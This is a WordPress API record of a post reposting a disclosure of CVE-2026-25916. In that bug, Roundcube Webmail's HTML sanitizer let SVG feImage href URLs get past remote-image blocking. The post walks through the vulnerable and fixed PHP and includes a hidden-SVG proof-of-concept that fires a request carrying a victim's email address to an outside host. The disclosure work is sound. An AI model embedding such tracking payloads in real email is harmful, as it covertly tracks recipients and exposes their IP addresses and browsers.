{"id":39816,"date":"2026-02-09T10:52:37","date_gmt":"2026-02-09T10:52:37","guid":{"rendered":"http:\/\/localhost\/?p=39816"},"modified":"2026-02-09T10:52:37","modified_gmt":"2026-02-09T10:52:37","slug":"roundcube-webmail-svg-tracking","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=39816","title":{"rendered":"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:14:08&#8243;,&#8221;description&#8221;:&#8221;Roundcube&#8217;s HTML sanitizer doesn&#8217;t treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Roundcube Webmail SVG Tracking&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215205&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-25916&#8243;],&#8221;sourceData&#8221;:&#8221;Roundcube Webmail \\u003c1.5.13 \/ \\u003c1.6.13 allows attackers to force remote image loads via SVG feImage\\n    \\n    Roundcube&#8217;s HTML sanitizer doesn&#8217;t treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens. (CVE-2026-25916)\\n    \\n    Date: 2026-02-08\\n    Last Modified: 2026-02-09\\n    Tags: vulnerability, roundcube, svg, email-security\\n    URL: https:\/\/nullcathedral.com\/posts\/2026-02-08-roundcube-svg-feimage-remote-image-bypass\/\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    TL;DR: Roundcube&#8217;s rcube_washtml sanitizer blocked external resources on \\u003cimg\\u003e, \\u003cimage\\u003e, and \\u003cuse\\u003e, but not on \\u003cfeImage\\u003e. Its href went through the wrong code path and got allowed through. Attackers could track email opens even when \\&#8221;Block remote images\\&#8221; was on. Fixed in 1.5.13 and 1.6.13.\\n    \\n    Vulnerability information\\n    \\n    Field | Value\\n    Vendor | Roundcube\\n    Product | Roundcube Webmail\\n    Affected versions | \\u003c 1.5.13, 1.6.x \\u003c 1.6.13\\n    CVE | CVE-2026-25916\\n    Disclosure date | 2026-02-08\\n    \\n    Background\\n    \\n    When allow_remote is false, Roundcube&#8217;s sanitizer intercepts image-bearing attributes (src on \\u003cimg\\u003e, href on \\u003cimage\\u003e and \\u003cuse\\u003e) and runs them through is_image_attribute(). That function blocks external URLs.\\n    \\n    Separately, non-image URLs (like \\u003ca href\\u003e) go through wash_link(), which lets HTTP\/HTTPS URLs through. That&#8217;s fine for links the user clicks on intentionally.\\n    \\n    Discovery\\n    \\n    I got bored during my christmas vacation and this SVG-based XSS fix via the animate tag appeared on my radar. One SVG bug usually means more.[1] So I spent some time going through rcube_washtml.php, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.\\n    \\n    \\u003cfeImage\\u003e stood out.[2] Its href gets fetched on render, same as \\u003cimg src\\u003e. But the sanitizer sends it through wash_link() instead of is_image_attribute().\\n    \\n    So the \\&#8221;Block remote images\\&#8221; setting doesn&#8217;t apply to it.\\n    \\n    Technical details\\n    \\n    In wash_attribs(), every attribute hits a chain of checks. The first one that matches wins:\\n    \\n    rcube_washtml.php\\n    \\n    if ($this-\\u003eis_image_attribute($node-\\u003enodeName, $key)) {\\n        $out = $this-\\u003ewash_uri($value, true);  \/\/ blocks remote URLs\\n    } elseif ($this-\\u003eis_link_attribute($node-\\u003enodeName, $key)) {\\n        $out = $this-\\u003ewash_link($value);        \/\/ allows http\/https\\n    }\\n    \\n    Before the fix, is_image_attribute() looked like this:\\n    \\n    rcube_washtml.php\\n    \\n    private function is_image_attribute($tag, $attr)\\n    {\\n        return $attr == &#8216;background&#8217;\\n            || $attr == &#8216;color-profile&#8217;\\n            || ($attr == &#8216;poster&#8217; \\u0026\\u0026 $tag == &#8216;video&#8217;)\\n            || ($attr == &#8216;src&#8217; \\u0026\\u0026 preg_match(&#8216;\/^(img|image|source|input|video|audio)$\/i&#8217;, $tag))\\n            || ($tag == &#8216;use&#8217; \\u0026\\u0026 $attr == &#8216;href&#8217;)\\n            || ($tag == &#8216;image&#8217; \\u0026\\u0026 $attr == &#8216;href&#8217;);\\n    }\\n    \\n    The href attribute is only matched for use and image. No feimage.\\n    \\n    And is_link_attribute() is a catch-all[3]:\\n    \\n    rcube_washtml.php\\n    \\n    private function is_link_attribute($tag, $attr)\\n    {\\n        return $attr === &#8216;href&#8217;;\\n    }\\n    \\n    So when the sanitizer encounters \\u003cfeImage href=\\&#8221;https:\/\/&#8230;\\&#8221;\\u003e: is_image_attribute(&#8216;feimage&#8217;, &#8216;href&#8217;) returns false, is_link_attribute(&#8216;feimage&#8217;, &#8216;href&#8217;) returns true, and the URL goes through wash_link() which passes HTTP\/HTTPS URLs straight through.\\n    \\n    Proof of concept\\n    \\n    An invisible 1&#215;1 SVG, positioned off-screen:\\n    \\n    \\u003csvg width=\\&#8221;1\\&#8221; height=\\&#8221;1\\&#8221; style=\\&#8221;position:absolute;left:-9999px;\\&#8221;\\u003e\\n      \\u003cdefs\\u003e\\n        \\u003cfilter id=\\&#8221;t\\&#8221;\\u003e\\n          \\u003cfeImage href=\\&#8221;https:\/\/httpbin.org\/image\/svg?email=victim@test.com\\&#8221;\\n                   width=\\&#8221;1\\&#8221; height=\\&#8221;1\\&#8221;\/\\u003e\\n        \\u003c\/filter\\u003e\\n      \\u003c\/defs\\u003e\\n      \\u003crect filter=\\&#8221;url(#t)\\&#8221; width=\\&#8221;1\\&#8221; height=\\&#8221;1\\&#8221;\/\\u003e\\n    \\u003c\/svg\\u003e\\n    \\n    The browser evaluates the SVG filter and fires a GET to the attacker&#8217;s URL.\\n    \\n    Impact\\n    \\n    The \\&#8221;Block remote images\\&#8221; setting doesn&#8217;t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.\\n    \\n    Remediation\\n    \\n    The fix (26d7677) collapses the two separate use\/image checks into a single regex that includes feimage:\\n    \\n    rcube_washtml.php\\n    \\n    || ($attr == &#8216;href&#8217; \\u0026\\u0026 preg_match(&#8216;\/^(feimage|image|use)$\/i&#8217;, $tag)); \/\/ SVG\\n    \\n    Now \\u003cfeImage href\\u003e hits is_image_attribute() first, gets routed through wash_uri(), and the remote URL is blocked.\\n    \\n    Update to 1.5.13 or 1.6.13.\\n    \\n    Timeline\\n    \\n    Date | Event\\n    2026-01-04 | Reported to Roundcube\\n    2026-02-08 | 1.5.13 and 1.6.13 released\\n    2026-02-08 | This post\\n    2026-02-09 | CVE-2026-25916 assigned\\n    \\n    [1] The SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked.\\n    \\n    [2] It&#8217;s an SVG filter primitive that loads an external image and uses it as input to a filter chain (spec). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this.\\n    \\n    [3] This matches href on every element, including \\u003cfeImage\\u003e. That&#8217;s the root cause.\\n    \\n    &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    Source: NULL CATHEDRAL\\n    https:\/\/nullcathedral.com\/&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215205&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:4.3,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:L\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215205\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:14:08&#8243;,&#8221;description&#8221;:&#8221;Roundcube&#8217;s HTML sanitizer doesn&#8217;t treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Roundcube Webmail SVG&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,123,12,21,13,53,7,11,5],"class_list":["post-39816","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-43","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=39816\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:14:08&#8243;,&#8221;description&#8221;:&#8221;Roundcube&#8217;s HTML sanitizer doesn&#8217;t treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Roundcube Webmail SVG...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=39816\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-09T10:52:37+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39816#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39816\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205\",\"datePublished\":\"2026-02-09T10:52:37+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39816\"},\"wordCount\":1052,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-4.3\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39816#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39816\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39816\",\"name\":\"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-09T10:52:37+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39816#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39816\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39816#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=39816","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-09T16:14:08&#8243;,&#8221;description&#8221;:&#8221;Roundcube&#8217;s HTML sanitizer doesn&#8217;t treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-09T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Roundcube Webmail SVG...","og_url":"https:\/\/zero.redgem.net\/?p=39816","og_site_name":"zero redgem","article_published_time":"2026-02-09T10:52:37+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=39816#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=39816"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205","datePublished":"2026-02-09T10:52:37+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=39816"},"wordCount":1052,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-4.3","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=39816#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=39816","url":"https:\/\/zero.redgem.net\/?p=39816","name":"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-09T10:52:37+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=39816#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=39816"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=39816#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Roundcube Webmail SVG Tracking_PACKETSTORM:215205"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39816","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39816"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39816\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39816"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39816"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39816"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}